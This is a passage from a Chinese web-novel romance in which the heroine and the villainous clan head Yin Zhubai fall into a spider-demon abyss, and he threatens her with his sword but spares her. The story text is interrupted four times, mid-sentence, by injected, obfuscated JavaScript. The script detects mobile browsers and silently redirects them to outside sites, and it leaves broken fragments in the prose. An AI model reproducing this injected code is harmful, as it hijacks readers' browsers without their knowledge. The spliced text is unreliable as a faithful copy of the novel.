不过她知道,自己的表情已经出卖了一切。 崔若盈的确怕高——或者说,她害怕坠落的感觉。当年她正是一脚踩空,才意外掉出自己所在的世界,从此在小世界间辗转流浪。 “有一点儿吧。”想了一会,崔若盈才硬着头皮回答道。 然后,她就听殷逐白笑了起来。 他的笑还是那么温柔,只是夹杂在渗入棺材的冷空气中,在狭窄的棺材里来回撞击,显得阴恻恻、冷冰冰、恶意满满,似是在幸灾乐祸,又似是得意于抓到了她的小小把柄。 原来,她怕高。 “崔姑娘,你放心。”一缕幽魂般的轻笑过后,他又温和地开口,像是在安抚着她,“我们同在棺中,逃也逃不掉。如果下面是万丈深渊,我会陪着你一起死的。” 崔若盈:“……”谁要和你这神金反派死在一起啊! 噫,想到她真要和殷逐白合葬,搞不好尸体还会被摔成烂泥,难分彼此,崔若盈心里一阵恶寒。 “殷家主,你快别说了。”崔若盈赶紧道,“我不害怕了,真的。” 正说着,又有几道撞击声传来,紧接着就是棺材板刮蹭井沿的声音。那声音在棺中回荡,震耳欲聋。 棺材失去了平衡,就像跷跷板一般,重心朝着上方倾斜。几秒后,倾斜停止了,刮蹭的声音也停止了,崔若盈只能听到自己沉重的心跳。 这瞬间的寂静并非什么好事,反倒如暴风雨前的宁静一般,沉重地满载着不祥。崔若盈一只手攥紧自己的衣领,不自觉地默数着自己的心跳。 一声、两声……还未等她数到三,倾斜的棺材就如同载满货物的失控列车,横冲直撞地滑向地狱。 失控的列车“棺材号”不顾一切地向下俯冲,棺材边缘刮过粗糙的井壁,发出阵阵巨响,仿佛有一千个指甲在狠狠抓挠着棺木,强烈的失重感随即传来! 浓烈的不安从黑暗中伸出手,紧紧扼住了崔若盈的咽喉。崔若盈的心脏剧烈地跳着,连殷逐白,都能听到那沉重如鼓点般的心跳声。 殷逐白蓦然抬起手,想要抓住她。 这动作不包含任何深思熟虑,如同呼吸一般,完全是下意识的行为——可是,他不是想杀了她吗? 这无疑是个不错的机会。而摔死对崔若盈来说,也是个十分恰当的死法。 于是,那只手就这样滞留在黑暗中,纤细的指尖距离她的衣袖,也只有不到半个手掌的距离。 他不该救她。 这个念头自然而然地出现在殷逐白的心中,如同苍鹰一样,在他脑海中盘旋,尖锐地拷问着他。 那他为什么要伸出手? 殷逐白的指尖微不可察地颤动了一下。一瞬间的僵硬过后,他脸上的神色归于冷然,苍白的手也缓缓缩回黑暗中。 可就在刹那间,手背上传来温热的触感。崔若盈忽地抓住他的手,就好像即将溺水的人抓住最后一根救命稻草。 他倏地抬起眼帘,看向崔若盈。此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640480|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时此刻,崔若盈的脸上闪过一抹视死如归的神采。 她猛然抱住他。 混乱的声音、令人眩晕的失重感、闷热的空气。黑暗,挤压,冰冷,燥热,所有让人不安的情绪都被时间捏合在一处,如同糅杂了各种色彩的橡皮泥。 崔若盈紧紧地抱着他,她与他,都成了七彩斑斓的橡皮泥的一部分。 拉殷逐白当垫背的——这是跌落的瞬间,崔若盈脑海中闪过的最原始的想法。 她这样做了。 崔若盈的手臂缠在他的身上,化作水草,紧紧地抓住溺水的人,纵然溺水者化作白骨,也绝不放开。 星光一般的灵力被强烈的妖气冲击得散开,棺内只剩一片黑暗。 黑暗中,她温热潮湿的呼吸喷薄而出,透过胸口薄薄的衣料,穿过一层白皙的皮肤,再尖锐地刺穿胸骨,燃烧着他的心肺。 殷逐白才知道,原来呼吸也能将人的胸膛给烧穿。 他一定被烧伤了——就算没被烧伤,也被烧痛了。 就像是藏匿在潮湿杂物里的老鼠,若有一天杂物被搬开,阳光侵入长满霉斑的鼠洞,老鼠就会像被烧伤一般,慌乱无措地在阳光下跑过,再灰溜溜地奔向下一个阴暗的角落。 殷逐白没有动。他像是不会动的木桩子一样,安然被她环抱着,与她一起跌入未知的深渊。 棺木越过结界入口,朝寒气最盛的地方跌落。不知过了多久,它撞上了什么柔软的东西。 剧烈的撞击、而后回弹。两人被抛起,又狠狠地撞在棺材板上。撞击过后,棺材陡然停了下来,只残留着微妙的滞空感。 粗糙的残响还在棺木中回荡,崔若盈耳中嗡鸣,头晕目眩,只觉天地颠倒,日月不明,被摔得连自己是谁都快忘了。 过了好一会儿,她才从刚刚的冲击中回过神来。 棺木温柔地晃悠着,像是被装在婴儿车里,寒风顺着棺椁扁扁的缝隙倒灌进来,也不知究竟到了何处。 意识恢复清明。崔若盈最先注意到的,就是被自己死死抱住的殷逐白。 他被她抓着,难得乖巧,没有一句怨言,更没有杀了她。崔若盈的头靠在他的胸口,听到了他的心跳声。 殷逐白,他居然有心跳。 在那一瞬间,崔若盈的思路拐到了另一个不相干的地方。但很快,她就反应过来,触电般放开他,心虚地藏到黑暗里。 刚刚降落的时候,她拿殷逐白当了人肉缓冲垫。 现在她摔得浑身疼,殷逐白估计摔得也不轻。 反派不会杀了她吧? 可是比起摔死,她宁愿死在反派手里。 一阵恶风顺着换气孔吹进来。崔若盈睫毛颤了颤,小声道:“你……没事吧?” 过了好一会儿,殷逐白才回答道:“没事。” 好像没生气? 崔若盈顿了顿,试探道:“对不起,我只是太害怕了。” 又过了一会儿,他复制粘贴似的,又说了句:“没事。” 崔若盈惊讶地扬起眉毛。 不是吧,反派脾气这么好,这都不生气? 16. 崔姑娘,不要那么紧张 脾气这么好,简直不像是反派了。 反派静悄悄,一定在作妖。殷逐白这么安静,该不会在想着什么坏主意吧? 崔若盈抬眼小心地看了看殷逐白,提起了一万分的警惕。 不过现在最重要的,还是离开这不见天日的棺材。这里又闷又热又挤,两人的呼吸声都纠缠在一起,再待下去,崔若盈都要疯了。 见殷逐白没反应,她先凑到换气孔看了下外面的情况。 外面很静、很黑,加上换气孔视野狭窄,基本上看不到什么东西,只有冷风呼呼吹着。 崔若盈想着,两人应该是掉到地底了。 她抬头抵住棺材盖,用力推了推。棺材盖被钉子死死钉住,完全没有松动的迹象,反倒是棺材上面的木屑被震动,在棺材里四处飞舞,呛了崔若盈一个猝不及防。 崔若盈赶紧抽回手,捂住口鼻干咳了两声,翻了翻系统背包。 系统背包里还剩两瓶精品化尸水,这东西非常好用,别说尸体,就连石头也能腐蚀,这朽木制成的棺材自然也不在话下。 不过……当着殷逐白的面,用这么凶残的东西真的好吗? 崔若盈有些犹豫。 虽然好感度已经负了,但她还是想尽量表现得无害些,好降低反派的戒备。 正在她迟疑之时,一直沉默的殷逐白突然开口了。 “崔姑娘。”他幽幽地叫她。 崔若盈一个激灵:“啊?” “劳烦你躲一躲。” 话音刚落,还没等崔若盈躲开,他便一掌击出,重重地打在厚重的棺木之上,动作迅疾如闪电。 刹那之间,棺材板被打得七零八落,木屑也跟着纷乱地飞舞。一片尖锐的木片从他手臂上划过,流下一道鲜红的血线。 即使是在黑暗中,血的颜色也分外刺眼。 崔若盈盯着那抹鲜红,恍惚了一瞬。下一秒,她便从闷热窒息的氛围中掉落出来,跌落在一张柔软且有韧性的巨网上。 阴冷的凉意化作地底寒风,从四面八方呼啸着吹来,化作蚕蛹将她的身体全然包裹。 骤然接触到深入骨髓的冷意,崔若盈忍不住倒吸一口凉气——那凉气穿过她的口腔,深入肺腑,从里到外将她冰镇起来。 与这股冷意格格不入的,却是额头上传来的点点热意。那并不是太阳或者火炉似的热,而是一种更短暂的灼热。 崔若盈伸手一摸,摸到了刺眼的红色。 是血。但不是她的。 崔若盈想到自己在棺中最后一眼见到的殷红。她将头转向殷逐白:“你受伤了?” 殷逐白就站在她的身旁,衣衫凌乱。 往常,他的头发总是束得规规矩矩,衣裳也一层套一层,整整齐齐,一丝不苟。 只是经过刚刚那一番动作,他的衣裳已经皱了,头发也只能松松垮垮地披在肩头,离远些看,他的肩膀上好像搭了一条黑色的河流。 殷逐白正垂眸看着手臂上的伤口。 伤口是被木屑划出来的,大概一指长,并不深。点点血珠从皮肤下涌出,像是开在他手臂上的艳丽梅花。 “要不……”崔若盈提议,“要不,我帮你处理一下?” 听到她的声音,殷逐白放下手。点点血珠在重力的作用下合并,在他手臂上勾出一道夺目的血线。 刺痛感传来。只是很微弱的痛感,带着些许酸胀,却恰到好处地让他有了某种身在此处的实感。 “不必了,崔姑娘。”他轻笑一声,“只是一点皮肉伤而已,不要那么紧张。” 说话依旧温声细语,语气仍旧轻柔如羽毛,态度更是温和可亲,即使是最讨厌殷逐白的人,恐怕也无法在他的姿态上挑出毛病。 声音在周围游荡,出现了空旷的回音。那回音经过冰冷的风、潮湿的水与石壁,逐渐失真,变得扭曲而模糊。 “……不要那么紧张。” 最后一句回音传入崔若盈耳中。崔若盈搓了搓手臂,打量着这周边的环境。 她和殷逐白所在的,是一处深不见底的地下深渊。这深渊很大,暗无天日,阴风从更深的地方吹来,在深渊间回唱。 风偶尔吹到崎岖的岩壁上,发出幽怨的悲泣,岩壁上生长的矿石则散发出近似鬼火一样的淡蓝色光晕,更衬得这地下世界寂寥可怖。 崔若盈向上看去。深渊的上方,只有一片死寂的黑,根本看不见来时的古井。 再向下看,银色的流光就映入崔若盈眼帘。原来两人脚下踩着的,是一张巨大且极其坚韧的银色蛛网。 这蛛网不只有一个,而是遍布在这无底洞一般的地下世界,蛛网层层叠叠、相互交织,构建出一条向下的通道。 在发光矿石的映照下,这条特别的道路,流动着月光似的光华。 “蜘蛛网?难道在内河村作乱的,是一只蜘蛛妖?” 想着,崔若盈又摇摇头:“不对,从蛛网的数量来看,应该是一群蜘蛛妖。” 殷逐白道:“去下面看看。” 从这些蛛网的分布,以及妖气的浓度来看,那群蜘蛛妖应该都住在深渊的最底下。 说完这句话,他当先踏上那闪烁着流光的蛛网道路。淡蓝色的光晕雪亮地铺洒在他的身上,连他的发丝也被染成了雪一般浓白。 崔若盈也走上蛛网。 这些蛛网很是柔韧,和钢丝差不多,但走起来也需要保持平衡。崔若盈一边小心地走着,一边时不时抬头看看殷逐白的背影。 密切关注殷逐白,既是防止与他走散,也是在防备着他。 不过,殷逐白现在似乎没有攻击她的想法。 他只是安静地走在昏暗中。崔若盈看不见他的神色,因此也无从得知他此时此刻的表情。 “崔姑娘。” 走了一会儿,他忽然道。 崔若盈被他突如其来的呼唤吓了一跳,反应过来连忙应道:“我在呢。怎么了?” 回答她的,却是殷逐白的沉默。 又一阵风吹来,轻轻掀起他的衣摆。白色的衣裳在纯黑中飘动着,连同殷逐白凌乱的发丝,也脱离发冠的掌控,狂乱地四下飞舞。 他就像深渊深处的黑暗,看似平静,可走进去,就会感受到在黑暗中横冲直撞的寒风。 良久,殷逐白才道:“没什么,只是想确认一下你有没有跟上。” 崔若盈:“……不用担心,我跟上了。” 她倒没怀疑殷逐白的动机。反正这家伙总是怪怪的,做出什么事都不足为奇。 又走了几分钟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14640481|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人终于来到附近一张蛛网上。 之前离远了没看见,现在走进了才发现,这张巨型蛛网的正中央,居然正躺着一口棺材。 层层蛛丝将棺材包裹起来,几乎形成一只巨茧,白色的茧壳在黑暗中若隐若现,像是被大网捕捉到的可怜昆虫。 崔若盈走近棺材打量两眼:“里面装的应该也是受害者吧?” 只不过,这口棺材被蜘蛛网裹得里三层外三层,就算那些蜘蛛妖不做什么,里面的人应该也已经死了。 崔若盈偏了偏头:“殷家主,我们要不要看看里面是什么?” 即使在这种暗无天日的地方,她的眼睛依旧是亮晶晶的,眼眸内里蕴藏着狐狸特有的狡黠。 殷逐白看着她的眼睛,淡淡应道:“好。” 他抽出腰间佩剑。剑光凝成一条银色的竖线,摧枯拉朽地毁去那些缠绕在棺木上的蜘蛛丝。 原本闪烁着流光的蛛丝被斩断,凌乱地落在两边,转眼间就失去了原本的华光,变得灰尘般黯淡。 银光轻柔地划破蛛丝,将厚重的棺材盖一分为二。 乌木“啪嗒”一声掉落,紧随其后传来的,就是窸窸窣窣的响动,好像有一千只虫子同时爬行,掀起一阵沙沙声。 那声音是从棺材里传来的。 崔若盈探头一看,顿时头皮发麻。只见那口狭窄的棺材中密密麻麻挤满了蜘蛛,窸窸窣窣的声音正是它们发出来的。 那些蜘蛛通体灰蓝,最大的也只有指甲盖大。它们挤在棺材中,似乎正在争抢啃食着什么。 棺材盖被殷逐白劈开,阴风一吹,不到三秒钟的时间,棺内蜘蛛就都化作灰烬,被风吹散,只留下一具残缺的人类骸骨。 虽然多年走南闯北,恶心的东西见过不少,但崔若盈还是被恶心到了。 她赶紧躲到殷逐白身后,把殷逐白当盾牌,以免那些蜘蛛化成的灰飞到她身上。 殷逐白看了她一眼:“这是雍州特有的青蛛。幼年青蛛惧风,成年青蛛妖通常把几千只青蛛卵产入密闭容器中,任其厮杀成长。几千只幼年青蛛中,通常只有一只能顺利存活成妖。” ……听起来更恶心了。 崔若盈同情地看了眼棺材里的尸骨,觉得这家伙真是可怜,就这么成了青蛛的养料。 也不知道,是除妖师还是普通百姓。 “是殷家的人。” 似乎读懂了崔若盈的想法,殷逐白开口道。他的语气很平静,似乎并未因自己下属的死亡而产生什么悲伤情绪。 “殷家的?” “嗯。” 殷逐白挪动长剑,瘦削的手腕一转、一挑,就从那凄惨骸骨的手中挑出一块金灿灿的令牌。 那令牌挂在他的剑上,随着他的动作而轻轻摇晃。明亮的金光照在崔若盈的眼眸中,晃得她有些睁不开眼。 这是殷家的令牌。 那名除妖师死的时候,还紧紧攥着它。 崔若盈一时间不知道该说些什么。 她挺同情这位可怜的除妖师,但反派恐怕不这样想。 崔若盈看着殷逐白收起令牌,用空间符箓封存了除妖师的尸骨,又继续向前。 过了好一会儿,她才干巴巴地安慰道:“殷家主,你……不要难过。” 17. 崔姑娘,我不杀你 第一句话说出口,接下来的话就顺畅了许多。 崔若盈快走几步,走到他身侧,轻声道:“殷家主是个好家主,死去的人若是知道你愿意亲自调查真相,为他们收敛尸骨,一定会感到欣慰的。” 当然,崔若盈心里明白,自己说的不过是毫无营养的场面话罢了。 除妖师死了就是死了,不能复生;反派更不可能为了几个小喽啰的死而伤感难过。 但她还要维护自己善解人意的人设,场面话是必须要说的。 殷逐白没有立刻回答。 蛛丝随着两人的动作而缓缓摇动,自地下深处吹来的风掠过崔若盈的耳侧,吹乱她的发丝,她红色的发带也跟着飞动,浅浅的红窥探着更远处的黑暗。 崔若盈抬手将头发捋到耳后,便听殷逐白的声音混在风里,极快地吹过来。 “崔姑娘觉得,我是个好人?” 疑问的语气,语调没有过多起伏,仍旧那样慢条斯理,问得崔若盈一怔。 殷逐白是好人吗? 肯定不是啊!如果这种阴暗反派都能被称作好人,那好人的门槛未免也太低了。 可崔若盈不知道殷逐白问这个问题有什么意图,更不能回答“不是”。 要是殷逐白知道她早看穿了他的真面目,为了他的计划,肯定会杀她灭口的。 思索几秒,崔若盈选择了一个中规中矩的回答:“殷家主救过我,当然是好人啦!” 她的回答并不出乎殷逐白的意料。 殷逐白微微一笑,轻声细语:“那如果,我并非你想象中的好人,而是一个十恶不赦的大恶人呢?” 说话的时候,他慢慢抬起一只手,搭在腰间的剑柄上。悬垂而下的剑穗被风一吹,散落在他如白骨一般的手上。 余光瞄到他的动作,崔若盈心中一凛。 毫无疑问,这是一道送命题,答错就会死的那种。 崔若盈心中警铃大作,脸上却还洋溢着笑容。她一边走,一边自然而然地回答道:“嗯……我不知道你究竟是什么样的人,不过在我心里,殷逐白只有一个。” 回答完,还没等殷逐白反应,她先在心里给自己竖了个大拇指。 瞧瞧,多么高情商的回答! 既完美避开了殷逐白这死地雷男的雷点,又暗戳戳给自己立了个小太阳的人设,一举两得嘛! 这下子,殷逐白挑不出毛病了吧? 崔若盈捏了捏衣角,等着好感度提升的提示音。 可好感度迟迟没有变动,路却已经走到了尽头。 跳下蛛丝,崔若盈的双脚终于再次踏上了坚实的土地。 而就在这瞬间,殷逐白却倏然转过身,挺拔的身影就像是一堵沉默的墙,挡住了所有朝她吹来的风。 几滴水从岩壁上滴落,发出轻盈空灵的响声。 两人处于某条地下河道之中,脚边是积水,再远处便是暗河。 用灵力垫在脚下,静静走上暗河。借着岩壁上镶嵌的水晶发出的蓝色光辉,隐约能见到澄澈的波光在河面上闪耀。 殷逐白的影子朦胧地映在水中,一阵风吹过,精致端丽的倒影就尽数崩溃,只能看清一个模糊的轮廓。 他驻足,望着那个黑色的轮廓。 倒影是虚幻的、脆弱的。 但世人推崇喜爱的,往往只是那个泡沫般美丽而脆弱的倒影。 从这点来看,崔若盈虽然有趣,却也只是个被美丽假象蛊惑的蠢货,与其他人并无不同。 殷逐白只有一个。她眼中唯一的殷逐白是那个温文尔雅、和蔼可亲的正人君子,而不是他。 殷逐白对此感到十分不快。 只是这不快中还蕴藏着更深沉、更复杂的情绪,连他自己也分不清,索性把一切负面的想法都归类到“不快”之中。 所以他要杀了这个让自己不快的人。 “崔姑娘。” 铁器摩擦声过后,他那把雪亮的长剑已经出鞘。粼粼的水波印在剑上,让那把剑看上去虚幻美丽至极。 崔若盈记得,原著中殷逐白的佩剑叫“逝飞雪”,也许就是他现在用的这一把。 逝飞雪对准了她的脖子,银光闪闪的剑光在她脖颈间跃动着,寒意侵袭。 这剑明明叫逝飞雪,剑光却比冬天的雪白、剑刃也比冬天的雪冷,崔若盈被逝飞雪指着,只觉得自己浑身冰冷,仿若置身严冬。 这是殷逐白第一次,明晃晃地对她展露出杀意。 之前的几次,都是隐秘的、暗戳戳的、留有余地的,因此崔若盈对他并不十分惧怕。 但她没想到,反派会说翻脸就翻脸,前一秒还有说有笑,后一秒就拿剑指着她,好像玩腻了伪装正人君子的游戏。 凛冽的寒气从逝飞雪上传来,崔若盈如同被钉子钉在了原地,一步也无法挪动。 下一秒,殷逐白的声音从前方飘过来,轻纱一般掠过她的面庞。 温柔的声音,与锋锐的长剑,明明是相互矛盾的东西,纠缠在一起却形成了某种平衡。 “崔姑娘,如果我杀了你呢?” 崔若盈:!!! 不是吧,来真的?! 她大脑飞速运转,寻求着脱身之法。求饶?不行?逃跑?更不行,那么…… 来不及多想,电光石火间,崔若盈飞快向前一步。 随着她的动作,她与逝飞雪之间的距离进一步被拉近,然而崔若盈却顾不得这么多了。 只见她抬起手,轻轻碰了碰逝飞雪的剑身。被她一碰,逝飞雪的剑光微微浮动,将她的指尖洗涤成亮闪闪的银白色。 殷逐白持剑的手一直很稳。他想杀谁,绝不会有丝毫的动摇。可此时此刻,那澄明剑光搅得周围的一切都纷乱地摇晃起来。 粼粼光华中,崔若盈分辨不出他是否有片刻的迟疑。 “那你就杀了我吧。” 崔若盈又向前一步,垂眸看着剑上的倒影,白皙的指尖轻轻擦过雪亮的剑身。逝飞雪并不抗拒她的抚摸,顺从得像是河边的银色芦苇。 “你的剑这么漂亮,你还救过我,我自愿死在你剑下。” 话虽这么说,在殷逐白看不见的地方,崔若盈已经打开系统商城,狼狈地翻找着能帮她逃跑的道具。 如果殷逐白执意杀她,那她就只能仓皇跑路了。 崔若盈一边找道具,一边分出心神关注着殷逐白的反应。 暗影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14640482|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他脸上交叠出斑驳的图案,淡淡光晕照亮他的眉眼。 他半垂眼帘,似是在看着自己的剑,又似是在凝望着她在水中的倒影。 崔若盈注意到,他的睫毛动了动。 不打算放过她吗? 崔若盈心脏不受控制地狂跳,脸上的微笑却仍旧自由而散漫。 这是小太阳的笑容——早在进入小世界之前,她已经对着镜子看过千百次,只是不知道生死之间的笑容,会不会显得格外僵硬。 崔若盈忽然想看看自己的笑脸。于是她低下头,看着脚下的河水。 圈圈涟漪刺穿水面,她没看清自己的脸,倏忽间,却看见水中的殷逐白笑了一笑。 他放下剑,衣袖流水般丝滑地滚落,脸上的笑容那样真挚温柔,仿佛刚刚只是和她开了个微不足道的玩笑。 “崔姑娘,你就不怕我真的杀了你吗?” 他拎着剑,歪头看着她,好像有些困惑。 “这里没有别人,我若是杀了你,毁尸灭迹,再谎称是青蛛妖干的,根本不会有第二个人知道。” 崔若盈:“……”够了,不要再叙述你完美的犯罪计划了。 不过看殷逐白这样子,应该是不打算杀她了。 “我相信你,知道你肯定不会杀我的。你一定是在吓唬我,对吧?” 崔若盈甜甜回答道。说着,她走到他身边,取走他手中的剑。 殷逐白看她走过来,没有拒绝,任由她把剑拿走。 闪耀的光斑印在崔若盈的眉眼上,让她眼中多了几分不可见的冷然。 她并不像表现出来的那样无害。殷逐白忽然有些想知道,她是谁。 为了这个答案,他也许能忽略掉心中的不悦,陪她继续这场恋爱游戏。 等崔若盈喜欢上他——或者说他伪装出来的他——的那一天,他再撕破伪装,取走她的性命。 这个有趣的结局,才配得上有趣的崔若盈。 崔若盈不知道他在想什么。 她轻抚着逝飞雪。 逝飞雪是把煞气很重的剑,在她手里却像是一把未开刃的木剑。 崔若盈拿着这把美丽的剑,缓缓将它插/入系在他腰间的剑鞘中。 剑身一寸一寸没入剑鞘。几秒钟后,逝飞雪的华光被完全盛入剑鞘中,周围重归平静。 只有风依旧吹着,暗河如同一块青黑色的玉石,河面上掠过镜面般的寂光。 “还有……” 崔若盈仰起头,忽地绽放出明丽的笑。她的笑容也像是水波,一层一层,在暗河中静谧地荡漾着。 “还有,我也说了,自愿死在你手里。” 她坦然地敞开手,示意他过来。 红色的衣服被风吹动,衣摆在黑暗中飘着,像是浓丽的绯色晚霞,挂在暮色之间,引诱月亮爬上夜空。 “殷家主想杀我的话,就趁现在,说不定等一下我就反悔了哦。” 殷逐白深深地望着她,倏忽一笑。 “崔姑娘,我不杀你。” 是不想、不愿、还是不能? 殷逐白没有说。他只说“我不杀你”,淡淡的声音,也只是道出了一个早已决定好的事实。 18. 殷逐白就是这样矛盾的存在。^…… 崔若盈看着毫不在意,实际上衣裳都要被冷汗浸透了。 她刚刚的冒险行为,也是在赌。 以她对原著的了解,殷逐白不仅是阴暗批,还是个死变态。别人越对死亡表现得恐惧、害怕,越想要挣扎逃脱,他越有兴趣。 相反,对于不怕死的人,他反而会表现得兴致缺缺。 就像带着纯粹恶的孩童,喜欢捕捉漂亮的蝴蝶,撕扯它的翅膀,擦掉翅膀上的鳞粉。 直到蝴蝶奄奄一息、残破不堪,再也无力挣扎,他才会兴致缺缺地放过它们,任其自生自灭。 所以她想赌一把。 虽说如此,但崔若盈完全没把握,也不知道殷逐白会不会杀个回马枪。 幸好,从结果上来看,他放弃杀她了。 “这可是你说的,殷家主,你不要反悔呀。” 崔若盈拢起被吹开的外套,对他甜甜一笑,从容地走到他身边。 光从表现来看,她好像真觉得他不会杀她。 殷逐白没有看她,只是道:“君子一言,驷马难追。” 给崔若盈听笑了。 她拢了拢外袍,心想殷逐白这家伙,披着一张温柔良善的皮,还真是什么诺言都好意思说出口。 不过她可没那个胆子当面笑话殷逐白,顶多心里嘀咕两句,就将这件事揭了过去,和殷逐白说起话来。 间歇性发疯后,殷逐白对她的态度又好上了不少,甚至温柔到有些刻意。 无论崔若盈说什么,他都脾气很好地回应,完全看不出这人本质是个无恶不作的反派。 在黑暗中又走了十几分钟,暗河变得湍急起来,阴暗刺骨的水流冲刷着岩壁,发出淙淙的声响。 几滴水溅到崔若盈裸露的手背上,激得她下意识一缩手。 “也不知道我们现在走到哪儿了。” 暗河附近不见天日,与世隔绝,根本无法判断方向。 殷逐白道:“内河村的那条河,与隔绝芦州、雍州两州的天虹江相连。我看暗河水势汹涌,我们恐怕马上要离开内河村范围,来到天虹江江边了。” 说起这个,崔若盈又想起另一件事。 “对了,你刚刚是不是说,那些青蛛妖是雍州来的?” 殷逐白颔首:“青蛛一族只生活在雍州。” 崔若盈蹙起眉:“那他们来芦州干什么呢?” 妖族可没什么探亲访友的习惯。大多数妖怪,出生在哪里,就会在哪里过一辈子。 况且雍州和芦州不同。雍州地势险要,境内尽是连绵群山,人烟稀少,更没有除妖师,基本上都被妖族占领了。 而芦州却十分繁华,境内聚集大大小小的除妖师势力,妖族生存艰难。 殷逐白轻描淡写答道:“可能和雍州的动乱有关。” 雍州动乱? 好像确实有这么件事,但原著中着墨不多,崔若盈也不太了解具体情况。 她眼睛转了转,正想着多问几句,却忽地感觉风声一变,前方骤然传来一种腥臭的味道。 那味道难以形容,像是腐烂尸体的味道——不仅难闻,还充斥着大难临头般的不祥。 崔若盈立刻戒备。 与此同时,几种纯黑色的暗影从黑暗中钻出,猛然朝两人的方向扑过来,其速度快若闪电,行动之间,带起一阵利风。 叮!! 眨眼之间,逝飞雪已然出鞘,与那黑影撞击在一起。火花迸射,借着明亮的剑光,崔若盈看清了袭击者的模样。 那是一个妖怪。上半身是赤裸的男性人体,肚脐以下则是连接着蜘蛛身子。蜘蛛身体是黑色的,背部生长着莹光闪闪的青蓝色花纹。 正是青蛛妖! 没时间多想。在这地下河道之中,青蛛妖不只有一只。 随着一阵窸窸窣窣的声音,更多大大小小的青蛛如河流一般,从远处的黑暗中涌来。 其中大部分都是蜘蛛形态,算上与殷逐白交手的那只青蛛妖,共有五只化出了不完整的人形。 崔若盈“嘶”了一声。 怪不得殷家派来的除妖师都死于非命,原来在内河村作乱的不是一两只妖怪,而是一整个族群。 众蜘蛛聚在为首青蛛妖身后,它们背后的青色花纹在黑暗中汇聚,如同闪烁的霓虹灯,看上去煞是明亮。 几只不长眼的小蜘蛛见崔若盈站在一旁,又一副无害的样子,顿时扑上来想要咬她。 崔若盈嘴角一撇。 好家伙,收拾不了殷逐白,还搞不定你们这两个小瘪三了? 余光瞄了眼殷逐白,见他和那只大妖僵持,没注意这边,崔若盈抽出短刀,一刀一个将小蜘蛛砍翻,又若无其事地把刀塞回后腰,跑到殷逐白身后。 “殷家主!” 殷逐白剑势一变,银光如乱雨流泻,朝青蛛妖袭去。那青蛛妖见状猛然后退几步,在暗河黑暗的河面上踩出朵朵巨浪。 仅仅几招,实力高下立现。 “殷家主,你还好吧?” 崔若盈跑到殷逐白身后,关切地看着他。 还没等殷逐白回答,对面的青蛛妖听到了她的称呼,视线顿时移到殷逐白身上,目光带了几分忌惮。 “殷家主?你是殷逐白?” 作为顶级除妖师世家的掌控者,殷逐白在世界范围内都有很高的知名度,连刚从雍州逃来的青蛛妖都知道他的名字。 青蛛妖冷冷道:“没想到,殷家的家主居然亲自出面对付我,还真是荣幸之至。” 殷逐白却根本没理睬他。他偏了偏头,毫无边界感的发丝顺势落在崔若盈的肩上。 “我没事,不必担心。” 崔若盈道:“也没有很担心啦。” 反派现在表露出来的实力,还不如原著的十分之一。如果几只蜘蛛妖都能让他有事,那男女主干脆找根绳吊死算了。 不过嘛,虽然她不担心,但现在情况还是有点棘手。 “你们!” 见两人就这么无视了自己,青蛛妖面色变得极为难看。但他理智尚存,知道自己打不过殷逐白,因此没有贸然行动。 青蛛妖缓了一口气,尽量让自己心平气和:“殷家主,芦州也有本土妖族和人族和平共处,你们对于这些妖怪,不是一概不管吗?今天怎么突然闯入我们的地盘?” 崔若盈道:“那些妖又不害人,所以除妖师不管。但你们残害无辜百姓,殷家当然不能不管了!” 青蛛妖呵呵一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643547|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这位姑娘是不是误会了?那是内河村的人送上来的,他们用人换极乐丸,照你们人类的话说,叫公平交易。你们要问罪,该问内河村的人才是啊。” “内河村的村民,自然有当地官府惩治。” 殷逐白抬眼还在狡辩的青蛛妖。当看着妖怪时,他眼中所有温度都如同潮水一般退去,只剩下一片决然的冰冷。 也许,这才是殷逐白本来的样子。 “而除妖师的责任,就是诛灭为祸人间的恶妖。” 